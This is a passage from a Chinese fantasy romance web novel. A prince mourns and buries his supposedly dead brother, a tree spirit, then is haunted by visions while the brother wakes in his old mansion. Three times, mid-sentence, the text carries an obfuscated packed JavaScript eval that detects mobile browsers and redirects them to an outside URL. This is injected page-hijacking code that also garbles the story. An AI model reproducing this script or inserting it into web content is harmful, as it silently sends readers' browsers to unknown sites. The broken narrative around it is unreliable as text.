“啧,你竟变得如此不堪一击。”恶龙用力碾了碾掌下木剑,暗金色的瞳孔死死盯着因本体遭受重创而跪倒在地,七窍涌血的仇人,“我在奈何桥等了你三百年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522719|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你投胎时居然看也不看我一眼,是心中有愧,还是你这贱人从头到尾都没对我动过半分情,那般同我纠缠,不过是为了杀我?” 利剑入颅时的痛楚至今折磨着他,他的恨意与执念,即便已转世投胎,成了这锦衣玉食的皇六子,依旧难以消磨,随着岁数渐长,愈发痛得刻骨。 但可笑的是,这一世的他竟忘却前尘,忘了是来寻这人复仇的,反把初见他时因极致的恨而蜷缩颤抖的心误解成一见倾情,将十五岁后开始频繁闪现的前世记忆当成绮丽春梦。 每一世的他都对这人毫不设防,总能犯贱地对他情根深种,被他又一次狠狠辜负了才知后悔。这缕恨意,竟是直到今日才能借着这人引入他体内的真气彻底苏醒。 萧珺耳边只闻阵阵轰隆,根本听不清人声,本体从未遭此重创,七窍出血极多,几乎封死了他的耳力与目力。他的心沉至谷底,这是个极其棘手的敌人。 幸而今日他和萧凌晏都不会死,梦中预言的死期并非此时,他由是迅速冷静,思考对策。 这恶龙若长久以来一直占据着萧凌晏的躯壳,正是导致他性情大变,暴虐易怒的元凶,为何直至此时此刻才现身?想要杀他,分明有很多机会。 他忽心念一动,想到了床榻上那个小型聚气阵。错不了,定是借了天地真气才得以现形的! 他不再犹豫,抹去唇角污血,挥手甩至空中飘动的金纸上。这一手出其不意,直接破坏了阵法。果然,伴着响彻天幕的惊雷,恶龙发出一声愤怒咆哮后,身形便开始迅速溃散,重新变回黑气,涌回榻上人体内。 萧珺吃力地捡起碎裂木剑,塞回胸腔,扶墙勉强站起身来,跌跌撞撞往榻边去。 他想阻拦那黑气同萧凌晏的再度融合,从墙至床榻不过几步之遥,于此时的他而言,却好像遥不可及…… 屋中响起闷闷的一声响,像是有什么东西重重摔倒在地,再未起身过。 -- 自成年后,萧凌晏从未睡得如此安稳。但他还是做了梦,梦中的他一如既往地同那人在榻上云雨,被其缠人姿态勾得方寸大乱。他还道这不过又是一场春梦,会如往常那样,以两人数次缠绵后的依偎而眠结束,但这回不同,他搂着身下人温存时,一柄利剑突然刺穿他的眉心,持剑者,正是方才还紧紧搂着他,颤声求他慢些的情人。 梦中剧痛恍若真实,他嚯地睁开眼,眼前却一片金光,伸手一摸,是一张落在面上的金纸,金纸上用朱砂绘着繁复符样,鲜红如血。 他有些困惑,不知自己因何睡去……坐起身时,手忽碰到了什么冰冷的东西。 他扭头一看,是只苍白染血的手。 残余困意瞬间飞到九霄云外,他忙俯身望向榻下,那儿竟倒着个人,将人翻了过来,映入眼帘的脸登时叫他如遭五雷轰顶。 不是萧珺又能是谁,可这般血迹斑斑,他又不敢认,究竟是……他没由来得心慌意乱,定了定心神,伸手探向人颈间。 摸了许久,也未有脉跳,只余冰冷体温,冷得几乎把他整个人冻起来。 11. 诈尸 起兵之时,萧凌晏曾数度设想,他恨了上千日夜的人会如何惨死在他手中,届时他会何等畅快解恨,可此时此刻,真真切切触碰着此人尸身,并无想象中的半分快意,他的指尖竟是在发抖。 他下意识否认,这妖物奸诈狡猾,岂会死得这么容易?可他的身体如此冰冷,如此安静……明明不久前还那般恼怒愤然,活色生香。 他神情怔然,仿佛魂游天外,唯有身躯不受控制地自榻上跌滚,堪称狼狈地抱起地上冰冷的躯壳,搂紧在怀里,莫名难以呼吸,浑身抖若筛糠。 怎会如此?他罕见地迷茫,觉得自己大抵是被怀里这具身体冻着了,直至瞧见连串水珠滴落在怀中人面上,洗净血污,他才后知后觉,啊,原是泪意堵塞了他的呼吸,是心脏处汹涌泵出潮水般的痛楚叫他的身躯战栗不止。 不应这样的。仇人惨死,他应扬眉吐气才是。 可躯体的反应与他的设想大相径庭,它挣脱理智的束缚,一遍又一遍擦拭尸身面上残余的血迹,搂紧的双臂像是要把这具残破的躯骸融进骨血,口中无措呢喃,唤着他的名字,声声念着兄长。 仿佛人死去了,他的仇恨便成了风中残烛,被那点拿不出手的余情彻底盖过了一般。 他为何会睡着?他明明正给这人束发的,性子这般冷硬,发丝却柔顺滑腻,他甚至还能清晰地回忆那时手上的触感,可为何那之后的事,他便毫无印象了? 屋外乌云盖顶,天地昏暗,叫人不分昼夜,难辨时辰。他抱着人呆坐许久,口中喃喃不知何时止息。屋里一片死寂,电光掠过,墙上投下他雕像般漆黑而又沉默的影。 他是不是……不该回来?不该锁住他? 可他回来又有何错?这本就是他的家。不锁住他,心头仇恨又该何解? 惊雷炸响,暴雨倾盆,彻底撕裂屋内沉闷死寂,他方如梦初醒。 他抱着人颓然起身,却险些跪倒,酸麻的四肢空前沉重,关节中如嵌入细小碎片,每一步都觉刺痛。他将人放回榻上,盯了许久才转身出门。 是谁?到底是谁! 他听见有什么在怒吼,看见院外守门的亲兵们突然扑通跪下,瑟瑟发抖,惶恐而困惑地抬眼瞄他,才反应过来是自己的声音,他到底也成了自己最厌恶的样子了,无能为力,只会泄愤。 “殿下息怒,”亲兵随他征战多日,何曾见他如此失态过,自是惊惧交加,“属下愚笨,还请殿下明白示下……” “谁来过?”他暴怒地一把将人从地上拎了起来,“谁准你们放人进来的?” 谁如此神通广大,能悄无声息让他昏睡,趁机取走那人性命?他都不曾想过杀他,何人敢越他雷池! “不曾……不曾有人来过……”青年颤声求饶,“殿下明鉴,属下等谨遵圣命,岂敢放人出入?况……况且宫人都还未醒,不应有人……” 不曾?怎么可能?他扫过众人不知所措,写满恐惧的脸,忽丢下手中人,疾步迈入雨帘。 他也不知自己要去哪儿,胸口涌动着杀意,将他的肺腑内里撕扯得变形,可他却又不知要杀谁,残存的理智让他远离活人,以免见人便大开杀戒。 “殿下!”忽有人高声喊住了他,急促脚步声自身后匆匆而至,一把伞撑在他头顶。 秦协气喘吁吁,浑身湿透,不知从何处赶来:“殿下怎么耽误了这么久?车驾已在宫门口候了近两个多时辰,早该动身了,皇后娘娘还盼着您呢。” 母后……彻骨冬雨浸透衣衫,终于浇熄他的失控狂暴,掌中已然出鞘的利剑哐当落地。他望着无尽雨帘,忽心生恐惧,母后问起那人,他又该……如何作答呢? 见他魂不守舍,秦协不由心生忧虑。殿下说今日要亲自去接皇后娘娘回宫,他于是一大早便命人备好车马,预备来请人,却不想侍卫说殿下不许人打扰,他便只得等着,谁料等着等着竟是侍卫匆匆来报,言说殿下从屋内出来后便大发雷霆,他心觉不对,忙赶了过来,便见人形容前所未有的狼狈,唇上带伤,面色惨白,漆黑的瞳孔中却戾气纷飞,杀气滔天。 他实不知发生了什么,又不敢问,只得搬出姑母。这一手倒是立竿见影,身前人平静下来。 沉默良久,他终是低声道:“改日吧。雨太大了。” “是。”秦协动了动唇,还是忍不住劝道:“您先回去换身衣服吧,都湿透了。娘娘若知了该心疼的。” “……”萧凌晏无言,转身往回走。秦协只得举伞跟上,可到了崇光殿门口,他却被哐当合上的门拦在外头。 原地转了几圈,他咬咬牙,顶着手下们欲言又止的目光,悄悄趴在门上偷看。他也是没法儿了,谁叫殿下今日如此反常。 “大人……” 他抬手打断侍卫劝阻,悄声道:“帮我看着,有人来了知会一声。” 透过缝隙,秦协瞥见院内一片狼藉。他不由心惊,难不成殿下之前是在院中掘地不成?可人力怎么挖,都不该将地面弄得这般裂痕密布才是。 他看见人进了屋子,过了许久才出来,手里抱着个什么东西,瞧着像是……秦协霎时瞪大眼睛,一时忘了呼吸。 虽离得远,雨又大,但习武多年,目力自是差不了,他瞧得分明,殿下怀中,分明是人,且这人,正是……他百思不得其解,殿下不是说他逃走了吗,这又是? 秦协心知自己不该再偷看下去了,可他的脚就像黏在地上,动弹不得。娘总说他这好奇多事的性子总有一天会害了他,他从来只当耳旁风,或许今日便要叫她一语成谶了……但换是别人站着儿应也会震惊地挪不开眼:他看见殿下垂首亲吻了怀中人,凝视许久后,又轻轻将人放入院中那巨大的坑洞之中。 亲娘咧!他心中震撼无以言喻,一时不知自己该先为哪件事惊掉下巴,弑兄埋尸……还是此前那个惊世骇俗的亲吻。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522720|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下喜欢男人啊,难怪不近女色……不对不对,关键是这个吗?!他浑身僵直,心头只一个想法,殿下若知他偷偷看见了一切,绝对会杀了他。 为争皇位手足相残已是皇室秘辛,更何况还……他突然就明悟了,为何殿下从来不与同龄的兄弟们亲近,对他这个表兄也态度平平,唯这身世成谜的三皇子得其青睐……原来如此。 他一时间心如擂鼓,下意识蹭蹭后退两步。不行,此事不能被任何人知道。 见他如此反应,旁人也被勾起好奇心,刚想扭头学着他偷瞧,便被秦协一掌呼开:“大胆!” 他环视一周:“都退下,此处有我守着。” “可……”侍卫不大服气,你都看得,凭什么我们看不得? “可什么?”秦协冷哼,“要违抗军令?” “……” 轰走众人后,他惆怅地坐在檐下发呆。这可坏了,若是姑母知道他两竟这般搅和不清,又死了一个,哪受得住啊!且殿下不日便要登基,这副神思不属的状态,真能撑得过文武百官毒辣的打量? 他久坐想不出招,又站起身来回踱步良久。愁啊,姑母,你这两儿子咋这样? 院内忽传来萧凌晏的声音:“来人。” 秦协忐忑,犹豫半晌,还是推门而入,他飞快瞄了眼埋尸处,土已掩埋好,而殿下便坐在附近的一块岩石上,静静盯着土壤被雨水浸透。 萧凌晏头也不抬:“取酒来。” “殿下……”秦协还想劝,萧凌晏抬眸瞥了一眼,也不知是否是出于心虚,他顿觉遍体生寒,忙点头应是。 冷酒入喉,其实已起不了半分作用,于萧凌晏而言已同这纷飞的瓢泼冬雨无异,可他还是舍不得放下,人会离开他,这等死物不会,还是他熟悉的样子,冰冷割喉,又炽热灼胃。 他没日没夜盯着那片土,希冀下一瞬间便能冒出新芽,最好是一眨眼那颗病殃殃的桃树便破土而出,继续占着这块宝贵的皇家地皮,不结果不开花不长叶也罢,立在那儿便好。 可好多日了,它还是这般死寂。 他觉愤愤,那人本体不是一棵树吗?即是树,入了土便该活过来才是,为何这么多日还是毫无动静? 他觉他应有点耐心,树长出来要好多年的,可他做不到,已过去了好多天,好多个时辰,好多次呼吸……那人怎么又敢把他一个人丢在这鬼地方这么久? 他再没耐心了。他等不了第二个三年。他魔怔,他像被鬼魅蒙了心,月黑风高夜,他睁着血丝遍布的眼,一铲一铲挖开三日前亲手填上的土。 坑里空空如也。 他不信,觉自己挖得不够深,又跳进坑里继续挖,铲子触碰到坚硬岩块时,他再骗不了自己了。尸身也好,树也好,大抵是都回不来了。 “你……又发什么疯?” 他下意识抬头,便见那死了的人正站在坑边,低头惊愕望着他。 12. 梦魇 他几乎忘记呼吸。 来人眉头微蹙,面上不见笑意,眸中却隐隐含着不忍,面目被柔和的月光笼罩,染上了几分似假还真的温柔。 萧凌晏愣愣望着他,沉寂数日的心起死回生,开始狂跳。他还活着?可他分明亲手埋了他那具冰冷的尸骸。 他下意识伸手,触碰来人缥缈的衣摆,手指却径直穿过了这道月色的影。 眼前人又蹲下身,抬袖为他擦拭面上星点泥污:“你怎么弄得这么狼狈?” 他离得那样近,只要伸手就能把人搂进怀里,可落在萧凌晏面上的手却没有实质,像北风一样掠过他的脸,带来彻骨的寒。 “是不是又喝醉了?好重的酒气。”他的手指又流连至他的下颌,虚虚勾勒着他面庞的轮廓,“你比以前瘦了好多。不能再喝了。” 萧凌晏闭了闭眼睛,企图冻结酸涩眼眶中的湿气。抚摸着他的分明就是这个人,可为何,他嗅不到他指尖的淡淡桃香,感受不到他指尖的温暖温度? 他明明知道的,这只是一道虚影。是他醉后幻想,是黄粱一梦。可他不想认,他宁愿是冤魂索命。 “回屋吧。夜里冷。”萧珺又试图给他拉紧衣领。他终忍不住伸手,捉向他的腕。可握拳时掌中空空如也,什么也没能捞着,却搅碎了身前幻影。 这张他又爱又恨的脸,雾气般消散在他眼前。 “别走!”他慌张而徒劳地去捞这丝丝缕缕破碎的幻像,却如水中取月,镜中采花,入手依旧虚渺。 他终于彻底没了分寸,对着寒夜里虚无的黑暗怒不可遏,却又似颤声恳求:“你不是来找我索命的吗!那你跑什么?你有本事把我也带走!” 夜寂静得深沉,吞没了他的声响。 他仰头颓然望着头顶苍月。都言月神司人间万般情,为何祂老人家不能让他的情纯粹分明,为何要让他的爱恨这般参互不清?为何叫他见人活时愤怒,见人死时悲怆,矛盾至极? 他不知自己是怎么离开深坑,将身躯浸入院中冷泉的。他的初心只想洗去身上泥污,可埋入水下时,强烈的窒息却让他觉得分外平和宁静,他甚至不舍得浮上去。 “怎么在池中睡?”他恍惚间忽听见有人轻声唤他。 他在水下嚯地睁开眼睛,岸上来人的身影被水波割得支离破碎,声音也朦胧不清。他看见一只手探入池中,将水花搅动得稀里哗啦。 他猛地从水里冒了出来,直勾勾盯着眼前人。又是萧珺,这次是有实体的萧珺,影子被月光拉得很长。 来人冲着他微笑:“可是在想我?” 见萧凌晏怔愣,他缓缓褪去衣袍,下了水。雪白的身躯被池水浸得愈加莹润,在月光下发光,如圣洁的月下仙灵;可他凑上来轻轻搂住池中人的颈,赤裸的身躯缠他极紧,温热唇瓣蹭过他的耳廓,附在他耳畔吐气,这般撩拨,分明又是淫=乱的水中妖物。 他轻轻咬了咬他的耳垂:“有些时日没见你了,怎的对我这般冷漠?” 萧凌晏看着眼前艳景,呼吸深重,那个连迷情之药都无法令其甘愿折服,对他推拒不断的人,怎会突然摆出此等姿态? “不喜欢?”池中人笑意莹莹望着他,手指顺着他胸膛一路往下,没入池水中,荡漾的水波下,细腻的腿内侧暧昧地蹭过他的腰身,“摸起来倒不像。” 萧凌晏眯起眼睛,浑身血液被情欲烧得滚烫,他猛地将人摁在池边,哑声质问:“你到底在玩什么鬼把戏?” “今日不是你的生辰么?”身下人望着他笑,“我想让你快乐。” 萧凌晏面色陡然阴了下来,像被迎头泼了一桶冰水,浑身炙热精血瞬间冰凉彻骨。他的生辰分明在盛夏,早过了。 这人,是把他当成了谁? 对方全未察觉他的愤怒,又凑上来吻他,指尖摩挲着他的脸,“峯璃,明日陪我去仙河山,可好?” 好生熟悉的名字。但丝毫不影响他的杀意。素昧蒙面,但他已想将其撕碎。 他怒不可遏,哗啦一声从水中站起,猛地睁开眼睛。眼前哪有什么勾魂夺魄的“水妖”,甚至连个人影都没有。 呼啸的夜风吹散他的愤怒,理智终于回笼。萧凌晏低头看着自己被水浸出褶皱的指腹,忽觉可笑。他只是在池中睡了过去,又做了一个春梦而已。 可梦中那个名字……为何那么熟悉?他用力摁着愈发刺痛的额角,感觉像是有什么东西要从他脑袋里钻出来。 扑通一声响,忽有什么东西坠入池中。他下意识循声看去,它竟是又很快钻了出来,游蛇般绕着他打转,叮铃作响。 此物他再熟悉不过,正是几日前他亲手缠来用以捉妖的红绳。但这段绳稍有不同,红绳两段的铜钱黢黑,有明显的灼烧痕迹。 红线绕他转了几圈后,直直腾飞,越过院墙。他来不及多想,也追了上去。红线飞得愈来愈快,愈来愈高,穿过宫门,飞出宫外,许久才停下,在萧珺昔日府邸外围徘徊。 无人居住的深宅大院,此时竟亮着猩红的灯笼。 -- 萧珺猛地睁开眼,耳畔持续许久的哭嚎戛然而止。 徐辰哭丧着的脸突然放大数倍挤到他面前:“主人……呜呜,我还以为你去了……太好了……呜呜……” “我怎么……在这儿?”他缓缓环顾四周,这是他当年在京城宫外的府邸,三年未曾回来,此间于他,已有些陌生。 徐辰擦了擦面上的泪,轻声道:“您伤得太重,不宜远行,暂且在此地落脚,待您好些了,再回北疆。” “我一直……躺在这儿?”萧珺眉头紧锁,那方才那一切难不成是梦? 可指尖的触觉格外真实,仿佛还残有余温,被那人的脸冻得刺痛。他抬起手,指腹赫然一抹浅淡污痕,同那人面上的泥污如出一辙。 萧珺望着指尖出神,若方才那些是真的……他得是在外头吹了多久才能冰成那样?冬夜的风寒冷彻骨,他竟穿得那样单薄,带着冲天的酒气,疯魔了似的在院里掘土,面上甚至还沾了几抹泥道子,怎么也擦不净,眼中血丝密布,一瞧又是连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“母亲现在何处?”萧珺心头不祥预感愈发强烈,他深至母亲有多憎恨萧家人,先后咒杀了先帝及四位皇子,若非他得梦中预知提示,从中斡旋,设计令母亲沉睡,她断不会放过萧凌晏。而他……偏偏也只想留住他。 “……”徐辰避而不答,只轻轻道:“主人,人妖殊途。您可莫忘了,夫人会落得今日下场,便是一片痴情错付。帝王薄情,皇族中人,何能幸免。” 萧珺冷了面色:“她在何处?” “夫人是为了您好……不行,主人,您不能下床!”徐辰不知一个伤重之人究竟何来的这么大气力,竟是一把将他推开,扶着墙踉踉跄跄要往门外走。 他急忙起身追了上去,但有东西先他一步拦住了他。 那是一柄细长的银剑,悬浮半空,剑身周围笼着一圈猩红的光晕。 剑中传出温婉女声:“谁准你下床的?” 屋中一时死寂。萧珺望着眼前利剑,心咚的一声沉到谷底。 只有刚杀过人,剑身周围才有这么鲜艳的红光。能让她快活至此,畅快得像大仇得报,对象大抵……也只有那人。